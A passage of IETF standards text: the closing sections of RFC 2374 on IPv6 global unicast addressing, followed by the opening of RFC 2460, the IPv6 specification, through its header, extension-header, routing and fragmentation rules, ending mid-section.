   for their review and constructive comments.

6.0 References

   [ALLOC]   IAB and IESG, "IPv6 Address Allocation Management",
             RFC 1881, December 1995.

   [ARCH]    Hinden, R., "IP Version 6 Addressing Architecture",
             RFC 2373, July 1998.

   [AUTH]    Atkinson, R., "IP Authentication Header", RFC 1826, August
             1995.

   [AUTO]    Thompson, S., and T. Narten., "IPv6 Stateless Address
             Autoconfiguration", RFC 1971, August 1996.

   [ETHER]   Crawford, M., "Transmission of IPv6 Packets over Ethernet
             Networks", Work in Progress.

Hinden, et. al.             Standards Track                     [Page 9]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

   [EUI64]   IEEE, "Guidelines for 64-bit Global Identifier (EUI-64)
             Registration Authority",
             http://standards.ieee.org/db/oui/tutorials/EUI64.html,
             March 1997.

   [FDDI]    Crawford, M., "Transmission of IPv6 Packets over FDDI
             Networks", Work in Progress.

   [IPV6]    Deering, S., and R. Hinden, "Internet Protocol, Version 6
             (IPv6) Specification", RFC 1883, December 1995.

   [RFC2050] Hubbard, K., Kosters, M., Conrad, D., Karrenberg, D.,
             and J. Postel, "Internet Registry IP Allocation
             Guidelines", BCP 12, RFC 1466, November 1996.

   [RFC2119] Bradner, S., "Key words for use in RFCs to Indicate
             Requirement Levels", BCP 14, RFC 2119, March 1997.

7.0 Security Considerations

   IPv6 addressing documents do not have any direct impact on Internet
   infrastructure security.  Authentication of IPv6 packets is defined
   in [AUTH].

Hinden, et. al.             Standards Track                    [Page 10]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

8.0 Authors' Addresses

   Robert M. Hinden
   Nokia
   232 Java Drive
   Sunnyvale, CA 94089
   USA

   Phone: 1 408 990-2004
   EMail: hinden@iprg.nokia.com

   Mike O'Dell
   UUNET Technologies, Inc.
   3060 Williams Drive
   Fairfax, VA 22030
   USA

   Phone: 1 703 206-5890
   EMail: mo@uunet.uu.net

   Stephen E. Deering
   Cisco Systems, Inc.
   170 West Tasman Drive
   San Jose, CA 95134-1706
   USA

   Phone: 1 408 527-8213
   EMail: deering@cisco.com

Hinden, et. al.             Standards Track                    [Page 11]

RFC 2374           IPv6 Global Unicast Address Format          July 1998

9.0  Full Copyright Statement

   Copyright (C) The Internet Society (1998).  All Rights Reserved.

   This document and translations of it may be copied and furnished to
   others, and derivative works that comment on or otherwise explain it
   or assist in its implementation may be prepared, copied, published
   and distributed, in whole or in part, without restriction of any
   kind, provided that the above copyright notice and this paragraph are
   included on all such copies and derivative works.  However, this
   document itself may not be modified in any way, such as by removing
   the copyright notice or references to the Internet Society or other
   Internet organizations, except as needed for the purpose of
   developing Internet standards in which case the procedures for
   copyrights defined in the Internet Standards process must be
   followed, or as required to translate it into languages other than
   English.

   The limited permissions granted above are perpetual and will not be
   revoked by the Internet Society or its successors or assigns.

   This document and the information contained herein is provided on an
   "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING
   TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING
   BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION
   HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF
   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.

Hinden, et. al.             Standards Track                    [Page 12]


Network Working Group                                         S. Deering
Request for Comments: 2460                                         Cisco
Obsoletes: 1883                                                R. Hinden
Category: Standards Track                                          Nokia
                                                           December 1998

                  Internet Protocol, Version 6 (IPv6)
                             Specification

Status of this Memo

   This document specifies an Internet standards track protocol for the
   Internet community, and requests discussion and suggestions for
   improvements.  Please refer to the current edition of the "Internet
   Official Protocol Standards" (STD 1) for the standardization state
   and status of this protocol.  Distribution of this memo is unlimited.

Copyright Notice

   Copyright (C) The Internet Society (1998).  All Rights Reserved.

Abstract

   This document specifies version 6 of the Internet Protocol (IPv6),
   also sometimes referred to as IP Next Generation or IPng.

Table of Contents

   1. Introduction..................................................2
   2. Terminology...................................................3
   3. IPv6 Header Format............................................4
   4. IPv6 Extension Headers........................................6
       4.1 Extension Header Order...................................7
       4.2 Options..................................................9
       4.3 Hop-by-Hop Options Header...............................11
       4.4 Routing Header..........................................12
       4.5 Fragment Header.........................................18
       4.6 Destination Options Header..............................23
       4.7 No Next Header..........................................24
   5. Packet Size Issues...........................................24
   6. Flow Labels..................................................25
   7. Traffic Classes..............................................25
   8. Upper-Layer Protocol Issues..................................27
       8.1 Upper-Layer Checksums...................................27
       8.2 Maximum Packet Lifetime.................................28
       8.3 Maximum Upper-Layer Payload Size........................28
       8.4 Responding to Packets Carrying Routing Headers..........29

Deering & Hinden            Standards Track                     [Page 1]

RFC 2460                   IPv6 Specification              December 1998

   Appendix A. Semantics and Usage of the Flow Label Field.........30
   Appendix B. Formatting Guidelines for Options...................32
   Security Considerations.........................................35
   Acknowledgments.................................................35
   Authors' Addresses..............................................35
   References......................................................35
   Changes Since RFC-1883..........................................36
   Full Copyright Statement........................................39

1.  Introduction

   IP version 6 (IPv6) is a new version of the Internet Protocol,
   designed as the successor to IP version 4 (IPv4) [RFC-791].  The
   changes from IPv4 to IPv6 fall primarily into the following
   categories:

      o  Expanded Addressing Capabilities

         IPv6 increases the IP address size from 32 bits to 128 bits, to
         support more levels of addressing hierarchy, a much greater
         number of addressable nodes, and simpler auto-configuration of
         addresses.  The scalability of multicast routing is improved by
         adding a "scope" field to multicast addresses.  And a new type
         of address called an "anycast address" is defined, used to send
         a packet to any one of a group of nodes.

      o  Header Format Simplification

         Some IPv4 header fields have been dropped or made optional, to
         reduce the common-case processing cost of packet handling and
         to limit the bandwidth cost of the IPv6 header.

      o  Improved Support for Extensions and Options

         Changes in the way IP header options are encoded allows for
         more efficient forwarding, less stringent limits on the length
         of options, and greater flexibility for introducing new options
         in the future.

      o  Flow Labeling Capability

         A new capability is added to enable the labeling of packets
         belonging to particular traffic "flows" for which the sender
         requests special handling, such as non-default quality of
         service or "real-time" service.

Deering & Hinden            Standards Track                     [Page 2]

RFC 2460                   IPv6 Specification              December 1998

      o  Authentication and Privacy Capabilities

         Extensions to support authentication, data integrity, and
         (optional) data confidentiality are specified for IPv6.

   This document specifies the basic IPv6 header and the initially-
   defined IPv6 extension headers and options.  It also discusses packet
   size issues, the semantics of flow labels and traffic classes, and
   the effects of IPv6 on upper-layer protocols.  The format and
   semantics of IPv6 addresses are specified separately in [ADDRARCH].
   The IPv6 version of ICMP, which all IPv6 implementations are required
   to include, is specified in [ICMPv6].

2.  Terminology

   node        - a device that implements IPv6.

   router      - a node that forwards IPv6 packets not explicitly
                 addressed to itself.  [See Note below].

   host        - any node that is not a router.  [See Note below].

   upper layer - a protocol layer immediately above IPv6.  Examples are
                 transport protocols such as TCP and UDP, control
                 protocols such as ICMP, routing protocols such as OSPF,
                 and internet or lower-layer protocols being "tunneled"
                 over (i.e., encapsulated in) IPv6 such as IPX,
                 AppleTalk, or IPv6 itself.

   link        - a communication facility or medium over which nodes can
                 communicate at the link layer, i.e., the layer
                 immediately below IPv6.  Examples are Ethernets (simple
                 or bridged); PPP links; X.25, Frame Relay, or ATM
                 networks; and internet (or higher) layer "tunnels",
                 such as tunnels over IPv4 or IPv6 itself.

   neighbors   - nodes attached to the same link.

   interface   - a node's attachment to a link.

   address     - an IPv6-layer identifier for an interface or a set of
                 interfaces.

   packet      - an IPv6 header plus payload.

   link MTU    - the maximum transmission unit, i.e., maximum packet
                 size in octets, that can be conveyed over a link.

Deering & Hinden            Standards Track                     [Page 3]

RFC 2460                   IPv6 Specification              December 1998

   path MTU    - the minimum link MTU of all the links in a path between
                 a source node and a destination node.

   Note: it is possible, though unusual, for a device with multiple
   interfaces to be configured to forward non-self-destined packets
   arriving from some set (fewer than all) of its interfaces, and to
   discard non-self-destined packets arriving from its other interfaces.
   Such a device must obey the protocol requirements for routers when
   receiving packets from, and interacting with neighbors over, the
   former (forwarding) interfaces.  It must obey the protocol
   requirements for hosts when receiving packets from, and interacting
   with neighbors over, the latter (non-forwarding) interfaces.

3.  IPv6 Header Format

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version| Traffic Class |           Flow Label                  |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Payload Length        |  Next Header  |   Hop Limit   |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                         Source Address                        +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                      Destination Address                      +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Version              4-bit Internet Protocol version number = 6.

   Traffic Class        8-bit traffic class field.  See section 7.

   Flow Label           20-bit flow label.  See section 6.

   Payload Length       16-bit unsigned integer.  Length of the IPv6
                        payload, i.e., the rest of the packet following
                        this IPv6 header, in octets.  (Note that any

Deering & Hinden            Standards Track                     [Page 4]

RFC 2460                   IPv6 Specification              December 1998

                        extension headers [section 4] present are
                        considered part of the payload, i.e., included
                        in the length count.)

   Next Header          8-bit selector.  Identifies the type of header
                        immediately following the IPv6 header.  Uses the
                        same values as the IPv4 Protocol field [RFC-1700
                        et seq.].

   Hop Limit            8-bit unsigned integer.  Decremented by 1 by
                        each node that forwards the packet. The packet
                        is discarded if Hop Limit is decremented to
                        zero.

   Source Address       128-bit address of the originator of the packet.
                        See [ADDRARCH].

   Destination Address  128-bit address of the intended recipient of the
                        packet (possibly not the ultimate recipient, if
                        a Routing header is present).  See [ADDRARCH]
                        and section 4.4.

Deering & Hinden            Standards Track                     [Page 5]

RFC 2460                   IPv6 Specification              December 1998

4.  IPv6 Extension Headers

   In IPv6, optional internet-layer information is encoded in separate
   headers that may be placed between the IPv6 header and the upper-
   layer header in a packet.  There are a small number of such extension
   headers, each identified by a distinct Next Header value.  As
   illustrated in these examples, an IPv6 packet may carry zero, one, or
   more extension headers, each identified by the Next Header field of
   the preceding header:

   +---------------+------------------------
   |  IPv6 header  | TCP header + data
   |               |
   | Next Header = |
   |      TCP      |
   +---------------+------------------------

   +---------------+----------------+------------------------
   |  IPv6 header  | Routing header | TCP header + data
   |               |                |
   | Next Header = |  Next Header = |
   |    Routing    |      TCP       |
   +---------------+----------------+------------------------

   +---------------+----------------+-----------------+-----------------
   |  IPv6 header  | Routing header | Fragment header | fragment of TCP
   |               |                |                 |  header + data
   | Next Header = |  Next Header = |  Next Header =  |
   |    Routing    |    Fragment    |       TCP       |
   +---------------+----------------+-----------------+-----------------

   With one exception, extension headers are not examined or processed
   by any node along a packet's delivery path, until the packet reaches
   the node (or each of the set of nodes, in the case of multicast)
   identified in the Destination Address field of the IPv6 header.
   There, normal demultiplexing on the Next Header field of the IPv6
   header invokes the module to process the first extension header, or
   the upper-layer header if no extension header is present.  The
   contents and semantics of each extension header determine whether or
   not to proceed to the next header.  Therefore, extension headers must
   be processed strictly in the order they appear in the packet; a
   receiver must not, for example, scan through a packet looking for a
   particular kind of extension header and process that header prior to
   processing all preceding ones.

Deering & Hinden            Standards Track                     [Page 6]

RFC 2460                   IPv6 Specification              December 1998

   The exception referred to in the preceding paragraph is the Hop-by-
   Hop Options header, which carries information that must be examined
   and processed by every node along a packet's delivery path, including
   the source and destination nodes.  The Hop-by-Hop Options header,
   when present, must immediately follow the IPv6 header.  Its presence
   is indicated by the value zero in the Next Header field of the IPv6
   header.

   If, as a result of processing a header, a node is required to proceed
   to the next header but the Next Header value in the current header is
   unrecognized by the node, it should discard the packet and send an
   ICMP Parameter Problem message to the source of the packet, with an
   ICMP Code value of 1 ("unrecognized Next Header type encountered")
   and the ICMP Pointer field containing the offset of the unrecognized
   value within the original packet.  The same action should be taken if
   a node encounters a Next Header value of zero in any header other
   than an IPv6 header.

   Each extension header is an integer multiple of 8 octets long, in
   order to retain 8-octet alignment for subsequent headers.  Multi-
   octet fields within each extension header are aligned on their
   natural boundaries, i.e., fields of width n octets are placed at an
   integer multiple of n octets from the start of the header, for n = 1,
   2, 4, or 8.

   A full implementation of IPv6 includes implementation of the
   following extension headers:

           Hop-by-Hop Options
           Routing (Type 0)
           Fragment
           Destination Options
           Authentication
           Encapsulating Security Payload

   The first four are specified in this document; the last two are
   specified in [RFC-2402] and [RFC-2406], respectively.

4.1  Extension Header Order

   When more than one extension header is used in the same packet, it is
   recommended that those headers appear in the following order:

           IPv6 header
           Hop-by-Hop Options header
           Destination Options header (note 1)
           Routing header
           Fragment header

Deering & Hinden            Standards Track                     [Page 7]

RFC 2460                   IPv6 Specification              December 1998

           Authentication header (note 2)
           Encapsulating Security Payload header (note 2)
           Destination Options header (note 3)
           upper-layer header

           note 1: for options to be processed by the first destination
                   that appears in the IPv6 Destination Address field
                   plus subsequent destinations listed in the Routing
                   header.

           note 2: additional recommendations regarding the relative
                   order of the Authentication and Encapsulating
                   Security Payload headers are given in [RFC-2406].

           note 3: for options to be processed only by the final
                   destination of the packet.

   Each extension header should occur at most once, except for the
   Destination Options header which should occur at most twice (once
   before a Routing header and once before the upper-layer header).

   If the upper-layer header is another IPv6 header (in the case of IPv6
   being tunneled over or encapsulated in IPv6), it may be followed by
   its own extension headers, which are separately subject to the same
   ordering recommendations.

   If and when other extension headers are defined, their ordering
   constraints relative to the above listed headers must be specified.

   IPv6 nodes must accept and attempt to process extension headers in
   any order and occurring any number of times in the same packet,
   except for the Hop-by-Hop Options header which is restricted to
   appear immediately after an IPv6 header only.  Nonetheless, it is
   strongly advised that sources of IPv6 packets adhere to the above
   recommended order until and unless subsequent specifications revise
   that recommendation.

Deering & Hinden            Standards Track                     [Page 8]

RFC 2460                   IPv6 Specification              December 1998

4.2  Options

   Two of the currently-defined extension headers -- the Hop-by-Hop
   Options header and the Destination Options header -- carry a variable
   number of type-length-value (TLV) encoded "options", of the following
   format:

      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - - -
      |  Option Type  |  Opt Data Len |  Option Data
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - - -

      Option Type          8-bit identifier of the type of option.

      Opt Data Len         8-bit unsigned integer.  Length of the Option
                           Data field of this option, in octets.

      Option Data          Variable-length field.  Option-Type-specific
                           data.

   The sequence of options within a header must be processed strictly in
   the order they appear in the header; a receiver must not, for
   example, scan through the header looking for a particular kind of
   option and process that option prior to processing all preceding
   ones.

   The Option Type identifiers are internally encoded such that their
   highest-order two bits specify the action that must be taken if the
   processing IPv6 node does not recognize the Option Type:

      00 - skip over this option and continue processing the header.

      01 - discard the packet.

      10 - discard the packet and, regardless of whether or not the
           packet's Destination Address was a multicast address, send an
           ICMP Parameter Problem, Code 2, message to the packet's
           Source Address, pointing to the unrecognized Option Type.

      11 - discard the packet and, only if the packet's Destination
           Address was not a multicast address, send an ICMP Parameter
           Problem, Code 2, message to the packet's Source Address,
           pointing to the unrecognized Option Type.

   The third-highest-order bit of the Option Type specifies whether or
   not the Option Data of that option can change en-route to the
   packet's final destination.  When an Authentication header is present

Deering & Hinden            Standards Track                     [Page 9]

RFC 2460                   IPv6 Specification              December 1998

   in the packet, for any option whose data may change en-route, its
   entire Option Data field must be treated as zero-valued octets when
   computing or verifying the packet's authenticating value.

      0 - Option Data does not change en-route

      1 - Option Data may change en-route

   The three high-order bits described above are to be treated as part
   of the Option Type, not independent of the Option Type.  That is, a
   particular option is identified by a full 8-bit Option Type, not just
   the low-order 5 bits of an Option Type.

   The same Option Type numbering space is used for both the Hop-by-Hop
   Options header and the Destination Options header.  However, the
   specification of a particular option may restrict its use to only one
   of those two headers.

   Individual options may have specific alignment requirements, to
   ensure that multi-octet values within Option Data fields fall on
   natural boundaries.  The alignment requirement of an option is
   specified using the notation xn+y, meaning the Option Type must
   appear at an integer multiple of x octets from the start of the
   header, plus y octets.  For example:

      2n    means any 2-octet offset from the start of the header.
      8n+2  means any 8-octet offset from the start of the header,
            plus 2 octets.

   There are two padding options which are used when necessary to align
   subsequent options and to pad out the containing header to a multiple
   of 8 octets in length.  These padding options must be recognized by
   all IPv6 implementations:

   Pad1 option  (alignment requirement: none)

      +-+-+-+-+-+-+-+-+
      |       0       |
      +-+-+-+-+-+-+-+-+

      NOTE! the format of the Pad1 option is a special case -- it does
            not have length and value fields.

      The Pad1 option is used to insert one octet of padding into the
      Options area of a header.  If more than one octet of padding is
      required, the PadN option, described next, should be used, rather
      than multiple Pad1 options.

Deering & Hinden            Standards Track                    [Page 10]

RFC 2460                   IPv6 Specification              December 1998

   PadN option  (alignment requirement: none)

      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - - -
      |       1       |  Opt Data Len |  Option Data
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - - -

      The PadN option is used to insert two or more octets of padding
      into the Options area of a header.  For N octets of padding, the
      Opt Data Len field contains the value N-2, and the Option Data
      consists of N-2 zero-valued octets.

   Appendix B contains formatting guidelines for designing new options.

4.3  Hop-by-Hop Options Header

   The Hop-by-Hop Options header is used to carry optional information
   that must be examined by every node along a packet's delivery path.
   The Hop-by-Hop Options header is identified by a Next Header value of
   0 in the IPv6 header, and has the following format:

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Next Header  |  Hdr Ext Len  |                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
    |                                                               |
    .                                                               .
    .                            Options                            .
    .                                                               .
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Next Header          8-bit selector.  Identifies the type of header
                        immediately following the Hop-by-Hop Options
                        header.  Uses the same values as the IPv4
                        Protocol field [RFC-1700 et seq.].

   Hdr Ext Len          8-bit unsigned integer.  Length of the Hop-by-
                        Hop Options header in 8-octet units, not
                        including the first 8 octets.

   Options              Variable-length field, of length such that the
                        complete Hop-by-Hop Options header is an integer
                        multiple of 8 octets long.  Contains one or more
                        TLV-encoded options, as described in section
                        4.2.

   The only hop-by-hop options defined in this document are the Pad1 and
   PadN options specified in section 4.2.

Deering & Hinden            Standards Track                    [Page 11]

RFC 2460                   IPv6 Specification              December 1998

4.4  Routing Header

   The Routing header is used by an IPv6 source to list one or more
   intermediate nodes to be "visited" on the way to a packet's
   destination.  This function is very similar to IPv4's Loose Source
   and Record Route option.  The Routing header is identified by a Next
   Header value of 43 in the immediately preceding header, and has the
   following format:

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Next Header  |  Hdr Ext Len  |  Routing Type | Segments Left |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    .                                                               .
    .                       type-specific data                      .
    .                                                               .
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Next Header          8-bit selector.  Identifies the type of header
                        immediately following the Routing header.  Uses
                        the same values as the IPv4 Protocol field
                        [RFC-1700 et seq.].

   Hdr Ext Len          8-bit unsigned integer.  Length of the Routing
                        header in 8-octet units, not including the first
                        8 octets.

   Routing Type         8-bit identifier of a particular Routing header
                        variant.

   Segments Left        8-bit unsigned integer.  Number of route
                        segments remaining, i.e., number of explicitly
                        listed intermediate nodes still to be visited
                        before reaching the final destination.

   type-specific data   Variable-length field, of format determined by
                        the Routing Type, and of length such that the
                        complete Routing header is an integer multiple
                        of 8 octets long.

   If, while processing a received packet, a node encounters a Routing
   header with an unrecognized Routing Type value, the required behavior
   of the node depends on the value of the Segments Left field, as
   follows:

Deering & Hinden            Standards Track                    [Page 12]

RFC 2460                   IPv6 Specification              December 1998

      If Segments Left is zero, the node must ignore the Routing header
      and proceed to process the next header in the packet, whose type
      is identified by the Next Header field in the Routing header.

      If Segments Left is non-zero, the node must discard the packet and
      send an ICMP Parameter Problem, Code 0, message to the packet's
      Source Address, pointing to the unrecognized Routing Type.

   If, after processing a Routing header of a received packet, an
   intermediate node determines that the packet is to be forwarded onto
   a link whose link MTU is less than the size of the packet, the node
   must discard the packet and send an ICMP Packet Too Big message to
   the packet's Source Address.

Deering & Hinden            Standards Track                    [Page 13]

RFC 2460                   IPv6 Specification              December 1998

   The Type 0 Routing header has the following format:

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Next Header  |  Hdr Ext Len  | Routing Type=0| Segments Left |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                            Reserved                           |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    +                                                               +
    |                                                               |
    +                           Address[1]                          +
    |                                                               |
    +                                                               +
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    +                                                               +
    |                                                               |
    +                           Address[2]                          +
    |                                                               |
    +                                                               +
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    .                               .                               .
    .                               .                               .
    .                               .                               .
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    +                                                               +
    |                                                               |
    +                           Address[n]                          +
    |                                                               |
    +                                                               +
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Next Header          8-bit selector.  Identifies the type of header
                        immediately following the Routing header.  Uses
                        the same values as the IPv4 Protocol field
                        [RFC-1700 et seq.].

   Hdr Ext Len          8-bit unsigned integer.  Length of the Routing
                        header in 8-octet units, not including the first
                        8 octets.  For the Type 0 Routing header, Hdr
                        Ext Len is equal to two times the number of
                        addresses in the header.

   Routing Type         0.

Deering & Hinden            Standards Track                    [Page 14]

RFC 2460                   IPv6 Specification              December 1998

   Segments Left        8-bit unsigned integer.  Number of route
                        segments remaining, i.e., number of explicitly
                        listed intermediate nodes still to be visited
                        before reaching the final destination.

   Reserved             32-bit reserved field.  Initialized to zero for
                        transmission; ignored on reception.

   Address[1..n]        Vector of 128-bit addresses, numbered 1 to n.

   Multicast addresses must not appear in a Routing header of Type 0, or
   in the IPv6 Destination Address field of a packet carrying a Routing
   header of Type 0.

   A Routing header is not examined or processed until it reaches the
   node identified in the Destination Address field of the IPv6 header.
   In that node, dispatching on the Next Header field of the immediately
   preceding header causes the Routing header module to be invoked,
   which, in the case of Routing Type 0, performs the following
   algorithm:

Deering & Hinden            Standards Track                    [Page 15]

RFC 2460                   IPv6 Specification              December 1998

   if Segments Left = 0 {
      proceed to process the next header in the packet, whose type is
      identified by the Next Header field in the Routing header
   }
   else if Hdr Ext Len is odd {
         send an ICMP Parameter Problem, Code 0, message to the Source
         Address, pointing to the Hdr Ext Len field, and discard the
         packet
   }
   else {
      compute n, the number of addresses in the Routing header, by
      dividing Hdr Ext Len by 2

      if Segments Left is greater than n {
         send an ICMP Parameter Problem, Code 0, message to the Source
         Address, pointing to the Segments Left field, and discard the
         packet
      }
      else {
         decrement Segments Left by 1;
         compute i, the index of the next address to be visited in
         the address vector, by subtracting Segments Left from n

         if Address [i] or the IPv6 Destination Address is multicast {
            discard the packet
         }
         else {
            swap the IPv6 Destination Address and Address[i]

            if the IPv6 Hop Limit is less than or equal to 1 {
               send an ICMP Time Exceeded -- Hop Limit Exceeded in
               Transit message to the Source Address and discard the
               packet
            }
            else {
               decrement the Hop Limit by 1

               resubmit the packet to the IPv6 module for transmission
               to the new destination
            }
         }
      }
   }

Deering & Hinden            Standards Track                    [Page 16]

RFC 2460                   IPv6 Specification              December 1998

   As an example of the effects of the above algorithm, consider the
   case of a source node S sending a packet to destination node D, using
   a Routing header to cause the packet to be routed via intermediate
   nodes I1, I2, and I3.  The values of the relevant IPv6 header and
   Routing header fields on each segment of the delivery path would be
   as follows:

   As the packet travels from S to I1:

        Source Address = S                  Hdr Ext Len = 6
        Destination Address = I1            Segments Left = 3
                                            Address[1] = I2
                                            Address[2] = I3
                                            Address[3] = D

   As the packet travels from I1 to I2:

        Source Address = S                  Hdr Ext Len = 6
        Destination Address = I2            Segments Left = 2
                                            Address[1] = I1
                                            Address[2] = I3
                                            Address[3] = D

   As the packet travels from I2 to I3:

        Source Address = S                  Hdr Ext Len = 6
        Destination Address = I3            Segments Left = 1
                                            Address[1] = I1
                                            Address[2] = I2
                                            Address[3] = D

   As the packet travels from I3 to D:

        Source Address = S                  Hdr Ext Len = 6
        Destination Address = D             Segments Left = 0
                                            Address[1] = I1
                                            Address[2] = I2
                                            Address[3] = I3

Deering & Hinden            Standards Track                    [Page 17]

RFC 2460                   IPv6 Specification              December 1998

4.5  Fragment Header

   The Fragment header is used by an IPv6 source to send a packet larger
   than would fit in the path MTU to its destination.  (Note: unlike
   IPv4, fragmentation in IPv6 is performed only by source nodes, not by
   routers along a packet's delivery path -- see section 5.)  The
   Fragment header is identified by a Next Header value of 44 in the
   immediately preceding header, and has the following format:

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Next Header  |   Reserved    |      Fragment Offset    |Res|M|
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         Identification                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Next Header          8-bit selector.  Identifies the initial header
                        type of the Fragmentable Part of the original
                        packet (defined below).  Uses the same values as
                        the IPv4 Protocol field [RFC-1700 et seq.].

   Reserved             8-bit reserved field.  Initialized to zero for
                        transmission; ignored on reception.

   Fragment Offset      13-bit unsigned integer.  The offset, in 8-octet
                        units, of the data following this header,
                        relative to the start of the Fragmentable Part
                        of the original packet.

   Res                  2-bit reserved field.  Initialized to zero for
                        transmission; ignored on reception.

   M flag               1 = more fragments; 0 = last fragment.

   Identification       32 bits.  See description below.

   In order to send a packet that is too large to fit in the MTU of the
   path to its destination, a source node may divide the packet into
   fragments and send each fragment as a separate packet, to be
   reassembled at the receiver.

   For every packet that is to be fragmented, the source node generates
   an Identification value. The Identification must be different than
   that of any other fragmented packet sent recently* with the same
   Source Address and Destination Address.  If a Routing header is
   present, the Destination Address of concern is that of the final
   destination.

Deering & Hinden            Standards Track                    [Page 18]

RFC 2460                   IPv6 Specification              December 1998

      * "recently" means within the maximum likely lifetime of a packet,
        including transit time from source to destination and time spent
        awaiting reassembly with other fragments of the same packet.
        However, it is not required that a source node know the maximum
        packet lifetime.  Rather, it is assumed that the requirement can
        be met by maintaining the Identification value as a simple, 32-
        bit, "wrap-around" counter, incremented each time a packet must
        be fragmented.  It is an implementation choice whether to
        maintain a single counter for the node or multiple counters,
        e.g., one for each of the node's possible source addresses, or
        one for each active (source address, destination address)
        combination.

   The initial, large, unfragmented packet is referred to as the
   "original packet", and it is considered to consist of two parts, as
   illustrated:

   original packet:

   +------------------+----------------------//-----------------------+
   |  Unfragmentable  |                 Fragmentable                  |
   |       Part       |                     Part                      |
   +------------------+----------------------//-----------------------+

      The Unfragmentable Part consists of the IPv6 header plus any
      extension headers that must be processed by nodes en route to the
      destination, that is, all headers up to and including the Routing
      header if present, else the Hop-by-Hop Options header if present,
      else no extension headers.

      The Fragmentable Part consists of the rest of the packet, that is,
      any extension headers that need be processed only by the final
      destination node(s), plus the upper-layer header and data.

   The Fragmentable Part of the original packet is divided into
   fragments, each, except possibly the last ("rightmost") one, being an
   integer multiple of 8 octets long.  The fragments are transmitted in
   separate "fragment packets" as illustrated:

   original packet:

   +------------------+--------------+--------------+--//--+----------+
   |  Unfragmentable  |    first     |    second    |      |   last   |
   |       Part       |   fragment   |   fragment   | .... | fragment |
   +------------------+--------------+--------------+--//--+----------+

Deering & Hinden            Standards Track                    [Page 19]

RFC 2460                   IPv6 Specification              December 1998

   fragment packets:

   +------------------+--------+--------------+
   |  Unfragmentable  |Fragment|    first     |
   |       Part       | Header |   fragment   |
   +------------------+--------+--------------+

   +------------------+--------+--------------+
   |  Unfragmentable  |Fragment|    second    |
   |       Part       | Header |   fragment   |
   +------------------+--------+--------------+
                         o
                         o
                         o
   +------------------+--------+----------+
   |  Unfragmentable  |Fragment|   last   |
   |       Part       | Header | fragment |
   +------------------+--------+----------+

   Each fragment packet is composed of:

      (1) The Unfragmentable Part of the original packet, with the
          Payload Length of the original IPv6 header changed to contain
          the length of this fragment packet only (excluding the length
          of the IPv6 header itself), and the Next Header field of the
          last header of the Unfragmentable Part changed to 44.

      (2) A Fragment header containing:

               The Next Header value that identifies the first header of
               the Fragmentable Part of the original packet.

               A Fragment Offset containing the offset of the fragment,
               in 8-octet units, relative to the start of the
               Fragmentable Part of the original packet.  The Fragment
               Offset of the first ("leftmost") fragment is 0.

